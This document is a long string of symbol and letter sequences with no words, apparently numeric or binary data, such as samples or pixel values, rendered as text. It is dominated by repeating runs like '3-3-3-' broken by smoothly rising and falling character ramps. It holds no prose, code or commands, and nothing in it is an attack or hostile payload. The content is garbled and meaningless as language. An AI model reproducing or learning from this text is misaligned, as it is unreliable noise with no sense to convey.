$!'$)'+).+0-4/6285<7>:@<C>EAGDJGLJNKQMTPVRZU\W_Za\c^f`hcjflhnkqmsowqyu}wy|~õƸǹʻ̾˿ʾȽƺŹķ~}zy}v|tzsyqvounskpinfmekdibh`e^b]`Z`Y_X]VZSXQWOTMSMRKPHNGLFICHBG@D>B=A;?9<6;59371504.3-3-3-3-3-2,3-3-2-2-2-2-2-3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,2.-0'3$:$E!N'Y5b@jJqTw[z_y_yay`w`xcwcr\nUhLaAX4N'#A$7 '2)/*---/.0,3,5,6,6,5,5-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.//0:4J2V2g/p.z....--,***)'&()**,++,++++**+++****,,,,++++++****+++++++++++++,,,+++++++++++,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,----+++++++++,,,,*(())))********+++*+++,*********+*)))**)*),****+*+*++*,,,,,,,,+++++++++++,,,,*+)))()'('''())()((**)))(*)))*))*)))(*))**,++**+*+**)()++~+|,z+x,u-r-o.l.i/d.`1[0V1P2K2E0A.<.8,4-2,0/.1-3-4,5,5,5,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-5,5,5,4-3-3-3-3-3-3-2-2-2-2-3-3-3-3-3-3-3-5-5-6/708192:3<6?8A:B<C=F?GAIBMFNHOIPJQLTNVQWRZSZU]V_XbZc[e^g`hajckfngpiqktlvnyp{r}tvxy{}øƺȻʾɽǻƺķ}z~w{uyrvosnpkmjkgiefbd_a\_[\YYVWSTPQMNLLJJHFEDCA??=<:;89574401/.,+**'($$""!     " $"&$)&,)/+2.5174:6<8?;A=C@EBGEJGMIPLRNTPWRZU\W^Za\c^faidkfliokrmupxs{u}xz|µöŹǺʽ˾ʾȼǻŹķõ~|{yw~u{sxrwpunskriphnfkdibgaf`d^c\bZ_X]VZTXRXQVOTMQKOIMHLFKDHBF@D?C=A;@:?8<7;581707/5.3.3-2,3-3-2,2,2,2,2,3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-6,6,3,/--0*5 '9 (A(H)N&+T-,X1+Y4&Y3%[6%Z5&X4)X6,Y7)U2#Q+!M%!I$C(< -5/00.0-0-1-2-2,3,5,5,7,7,7,6,6,4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2./01<6N3Z2j.t--..-,,,+++*)((()******))))****))))+++******)))))*****)))))))))))(((((((((((************************************+++++)((((((((()))(''(((((())))))))***))*******+++***+**+++*,+++++*+++*)*+-----+++++++++++*+**+*+)))((((''''((((((*,,++*++*+,++,,++*,+++,,+,,++*+***}*|+{,y-v-t-q-p.n/g/d/`/]/X.S1N1G2C2=282401//-0.00/1/2.4,5,5,5,5,3-3-2.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.2.2.2.2.2.2-3-3-3-3-3-3-4.6/7082:3;5=6?8A;D<E>F@HAKDLEMGPIQKQLSMUOWQZS\V]W_XaZc\f^g`jbkdmengpisktmvoxpzr}tvxz|}ĸƺȼɾ̿̿ʽǻƺŸ¶}{~y|vzswqunslpjlgifgceab^`[\XZVXUURTNQLNIKHIFFDCAA?=;<9:67451200--**((&&$#!!    " %"'%*'-*0-3/6284:6<9>;@>B@ECHEKGNIPLSNUQXSYU[W^Ya]d_fbhdjfmiplrmvpyr{u~wy|~öĸǻɽ˿˿ʽȻƹŸõ}{yw~v|tyrwpvnulsjpinglejchbgae^d\bZ_X]V\TZSXQVOSNQLOJNIMGKDICGAE@D>C<B;@9<6;4:381605.4.3-3-2,2,2,2,2,3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-7-7,6,5,3,0,/./1-4-6 -9,;-<*='=)=+<-<.<-9)7 (7 (4)1,/3.8.7-4,4,3,3-3-3-4,4,6,6,7,7,7,6,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-003=6N2[1l-v,+,,,,,,,,,+))(((***)*********)))))***))))))(((()***))))))))))(((((((((((((()))))))))))))))))))))******************++)'''''''(((((((''((((())))))))***)**+*******+***+*+++,+,****))***)))*.---,+++++*****+)*)*)))(('((('''''))((((*+,,++,+++,+++,,++,,,,--,--,+~*|){)y*x+v+t-r.p.m.j.g.e/b1\2Y1U1Q1L0G0B0;0723204.4+2,1/1/2.3.4,5,5,5,5,5,3-3-2.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2.2.2.2.2.2-2-3-3-3-3-4.5/7082:3<6>7?9A;C<F?H@IBKDMENHOIRKSMUOVQXRZS[V^W`Ya[c]e^gaibkdnfohqjtkunwoyq{s}uvyz|~¸ƺǼɾ˿ɽȻŹķµ~~{{xzvxtvqtoslpjngkehcdab^`\]Y[VXTVRTPQMOJLGJEFCDBA?><;::7745220/.-++)(&%##!"     #!&$(&+)-+2.306284:7<:><@?BAECHEKHOKQMTPUQWTZV\Y_[b^d`fbiekgmipktnvpyr{ux{}÷ŹǼ˾˾ɽǻƹķ}{yw}u{szqypxnulqjohnglekdjaf_e]c[aY`X_W]UZSXQVOSNSMQJOHMFKDJCHAG?E>C<A:@8>7;592817/5.3-3-3,2,2,2,3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4,4+5+5+6,6,6,4+4,3-1-.,.,,-+.,..,0,2-3-0,/,0-1.4.7-8,8+6,5,4,3-2-2-2-3-4-5,6,7,7,6,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-0/2<5M0X/i,t+*+,-,-,++**(()())))),,,,,,,++++*********))))))))()(((((((((((('('(('('''''(()))))))))))))))))))))))))))))))))))))))))(((((()()))))))))*******++**+++,+++,+,,,*))*****)******)**))(**))()*,+++*****)))))))(((')))(('((((()(())))**++++++**+++++*,,,,-,,,-,~,}-|,|,{,y+w+t*s,q-o-m.h0f0c0`/]/Z1X3P5M3I2F1A0</703102-4-6,7+5,3.3-2-3,4+5,5,5,5,4-3-3-2.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-2-2-2-2-2-2-2-2-2-2-2-2-2,3-4.507292:4<6>7@:A<C<D=G@JBLCMENGPIRKTMVOXQZS[T]V^X`Zb\d]f_gaiclfngphritkumwozq|s}uvxz|~¸úƼɾɾǽƺĸ¶}|zywvtspsormpjmhkeicfac^`]]Z[XXUVRTPRNOLMIKFHCE@B?@==<9886532//.-,+*)('&$#"     ! #"%$((,*.,1.305386:8;:=<@?CAEDIGLIOKQNTPVRWVZX]Y_\a^eagcjfmhpjrlsnvpys}xz|}÷ŸȻʾ˾ɼǻŹ·~}{yv~u}s|qzovntlskqipgnekciah_f]d\cZaW^W\UZSXRXPUNSLRJPHNFKDLCIAH?F>D=B:?9=7<5:49281604.3-2,1+3-4-4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,2,2+3+4+5+7+7+7+7+5,4,2,2+/-.-0-2,5+8,9,8,5,4,3,3,4,4+6+7,6,5,3-2-1-0-2-2-4-4-6,6,4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-1.293G0T,b+n+z**++,,+*+++))))))))******++****))))))))))******)()()())()()))*)*)**)*()((()****************************)((((()))))))(())))(+*++*+)*******))))**))**))))*+++,,++++++++***))))***)*()((('(()*)*())((('''(((('(())(()(()))((()))**********)*++*,++,,+~+~,~,},|,{,z-y-x,w,v,t-r,p-m-k.i.e/c0^1[2X1T0Q/M0I3C5?2;08/5/2/10/2.3-3-5,6,5,5,4,4,5,5,5,5,5,4-3-3-2.2.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2,2,2,2,2,3,3,3-3-3-3-3-3-3-5/607193:5=6?9A:C;D>F@GAJBLDNFPHRISKTMWOYQZS\U_W`XaZc\e]f_h`jbldmgqhrjulwmyozq|suvyz{~¶ĸŻƼȽɾʾǽŻù÷}{{xyuvstprmolmikfidfad_a]^[[YXWVTSQSNOLLJIHHEFBC?A==;;99754310/.,+*((&&$$"!     "!%#'&*(,*/-2/325487:9<;>=B@DCHEJHMJOLRNTRVTXWZX]Z_\c`fbidkfmipjrmtoxtzv|xz|~öŷǻɽ˾ȼƺĹö~|zywu~s{qxpwnvmtkripgnekbjai_f^f[cZ`Y_W]U\UZRXPUNTLSJPIOGMELCJAHAG?D=C<@:>7>6;592816/4.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2,2,2,3,4,5,7+7+5,4,3,2,2,0-0-1-3-6,7,9,8,7,6,4,3+2,2,4,5,5,3-2-1-0-0-0-2-2-3-4,5,4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-252A0N-[+g*q*y**)**++,++**))))*********)+***)*)++++*+*)))*)*))))))))(((((()))))))))))((*,,,,,,,,,,,,,,,,,,,,,,,,,,+*('''''''''''')))))))))((((()*)*)*)++*+*++++)+)*****++++*,*+++++****)***)))(((((''(*****))****))))))))*))))***+++******+++,,+++**+++,,,~+}+}+|-{,z,y,y,y,w-v-u-s-r-r-p-m/k0i0f/c0`0\1X2T2P2M2I1E/A0=2743302/0/1.2/2.2.3-3-2.3-4-5,5,5,5,5,5,5,5,4-3-2.2.2.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2,2,2,2,2,3,3-2,3,3-4.4.5/6082:4;6<7?8A;C=E=F?HAKCLENFPHRJTKUMWNYP[S\U_WaYbZc\e]f_h`kbmenfogriukwmzo{q|s~tvx{|}ĸźǼɿ̿ʾȼƺù~|z~x{vxtvrsorlojlgifgcd`a]_[[YYWWUTRQPPMNKJHHFFDDAA>><;898754300..,*)('&%%#"!     "!%#&&)(++--//32437698<;>>B@DCGEIGLIOMPORQUSXUYW]Z_\b_eahcjemhokrnspurxtzw}y{}÷ŹǻȽʾ˿˾ȼǺŸĶõ}|zxv~t}r|qypxnvltjqhpfoclcl`i_f^d\c[bY`W^U\SZQYOVMULSJQHOGMFLDJBIAF?D=C:@9>7<5:392814/3.3.3.3-3-3-4.4.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3.4.5.5-5-5-5,4,2-2-1-0-0-0-1.2-3-4-6-7-7-6,4-3,2,1-2-3-3-3-2-2-0-0-0-2-2-2,2,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-4-110:0E.R-]-f-n-t-z++++*++,***))))*****+**)+*++*+*++++*++,,,-+,+++++++++++++++++++++,,,++++--------------------------,+)(((((('''''')++++++++++++++,+,+,+++*+*++++*+)++*******)*)))))))(((())(((*)**)))))+++****)+*****++**+,+*++***,,+++,,.---,.-++*~*~)}+|+|*{+{+z)x)x)w+w,v+u+t-s-s-p-o.n.k/i/h/f.d0a1^1[2Y2U2P3L3H2C1>0;.7,4-10-3,3,2,2-3-3/2.2.2.2.0/2.2.4-5,5,5,5,5,4,3-3-3-2.2.2.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3-3-3-3-2,4-6/7/8193;5>7@9A;B<E=G@HAJBKDMFPHQJSKULXNYP\S]S_UaXbZd[f^g_h`jbldneqhsjtkulxn{p|q~svwxz|´÷Źƻɽɿ˾ȼǻŹ·~{yw|uzswqtnploilgjdgccaa]`[]XZUWTUQROPMMJJHHEFCCA@>><;987633211..+,))&%$""   !#!%$'')),+.-1/326496;9><A>D@EBGEKHLJNLQNSPVSXV[W]Z`\d^faidkgliokqmspuryt{v}xz~öĸźǼʾ˾ɼǺƸķõ~|{yw~u}s|rypxnvltjriqgodmckbh`f^e\c[bY`W^U]T[RYPWNULTKRJPGNFMEKCHAG?E>C;A:?9=7;5625151403/3.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-5.6.5.5.4.4.4.4-2.2.2.1-2-2-2.2.2.3.3-3-4-5-5-5,3-2-2-2-2-3-3-2-2-2-2-2-2-2-2,2,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-5,0-.4/>0I0S0\0c/j/p-w,},++-,-,+,*+***+**+********)*)*))*)**,,+,+,+++*+*++*+*++,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,+*))))))))))))*,,,,,,++++++++++++++***********))*+++**+***))******)))**+**+++++***++,,++++*,,+++++++++,,,-,--,---,,,~-~.~.}.|-|-{.z-z,z+z+y+y*x,w,w,v,u,u+t+s*r,r-r-p,o.m.l/j/h0f0d0a0_/]/[1V2S3P2N2J3F3B0;18/4.1./-.-,4,5,5,4-3-3-3-2.2.2.2.1/1/2.4-4,4,4,4,4,4-3-3-3-2.2.2.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2,3,4,4-4-4.4.507192:3;5=7>9B<C>D?G@HBJDLEOGPIQJSLWNWOYQ[S]U`VaXbZd\f]g_iblcmdnfphritkvmyozq|r~uvxz|}~´ĶŹƻȽ̿ɽƺĸø|y}w}uzrwptnqmnjlhjdhbf_b^`\]YZVXSVQSPQMNKKIHFFDD@@?><;:98854220..,,)*''%$"!   !#"%%''*)-,0.205275:7=:?<B>C@GDIFJIMJOLSNURWSYV\Y`[a]d_gbiekgminkqntpwryt|w~y{~¸Ĺȼɾ˽ɼǺƹķö´~|{yxv}t|rypwnvmulsiqgnfldjbiaf_e]c[bZ`W^V]UZSYPXOWMTKRJQIOGMEKCIBG?E>D=B;?:;896857362404/3.3.3-3-3-3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-5-6.5.4.3.3.3.2-2.2.2.2.3-4-4-4.3.2.2.2-3-3-4-5-3-2.2.2.2.2.2.3-4-4-5-4-4,4,3,3,2,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-6,2,/1/80A1I2Q2X1_1f-m,s,y,}+---,+,**++,+))***))*)*)()())))(*)**)*)*))*)*))***)**+++++++++++++++*****************************************++,++,+****)*********++*+*+*****)*******++*+*****+****),,--,,,,,---,,,,++,,,+,,,,,++++,,,----.~.~.~-}-}-|-{-z,z,z.y.x/w.w.v.v-u-u-t,t,s,r-r-r-q.p.p-n,n,m-m.m.j.i/h/f0d0a1_2\2Z1X0U/R3N4K4F3C2?2:1603100/0.1-1-2,4-4-4-4.3-3-3-3-3-3-4-3-2.3-3-3-3-3-3-3-3-3-2.2.2.2.2.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-3-5-6.7/7081:5<6>7?9@:A;B=E?GAHCKCLFNHQJSKUMVOYP[R\T^U_VaXcZd[f]h_jakcnepgqhrjtlvmxpzq|r}uvxz|~µĶŸȺɼɾʾɽǻŹ÷~|~z}y{vxsxptnrmojlhjfhcf`d]b[_Z\XXUVRTPSMPKMHJGGDDAB??=<;:98663411/.++*)(&&$#!    ! $"%$(&+).+1-306295;7=9?<B?DBGDIFKHNJQMTOVQYS[V]X`Zb]d_fbidkfmiqjsmvoyq{tvy{}ĹŻǽɿʾɽȻǹŸķµ~}}zxw}t|rzpyowmulskqingmekdibg`f^d\bZaY_W^U]S[RYPWNULSKQIOGMFLDIBHAF@C>@<=:<9:8957373504/4.4.3-3,2,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4,4-3-2-1-1-1-1-1-2,3,4,4,6,7,6,4-2-1-1,1-1-3,4-3-3-3.2.2.2.3-4,6,7,8,8,7+6+4,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-6+3,1//3/91A2H2O2V1^.e,k+q+t+v,z,~,+++***+++)()))))*)))))()(()()()))*()('('('((()()())))))))))*****(''''''''''''''''''''''''''))))))))))))))**++++*+****++*+++*+****+***))**)))**))))*)***)))++***),,,,,,++,--,,,+++*+,,,,+-+,++,+,~,~,},}-|,{,{-z.y-y-x-x,w-w,v-u-u-t.t.s.r-r-q-q-p-p,o,n+n-m-l.l.k.j-j-i.h.h-f-e-c/a/`0]1[1X2U1R1O0L0H2C3@2;0804111/2.3-2-3-3.4-3-2,2-2-3-3-3,3,4,4,4,6,6,5,4,4-3-3-2.2.2.2.2.2.2.2.2.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-5.5/7081:4<5<6?9@;A<C>E?F@GAICKFMGNGPJSKVNXOYQZS^T_V`XbYc[e\g_h`jbldnfphrjskumwoxq{r|t~uwyz|~÷ŹȻʼ̾ͿȼƺŹ÷}~{|yzwwtuqrnqknilgjefddac^`[_Y\VZVWSUPSMQKOHLGICEBC?@=>:;79564513.0,.**'(%%#"!    ! 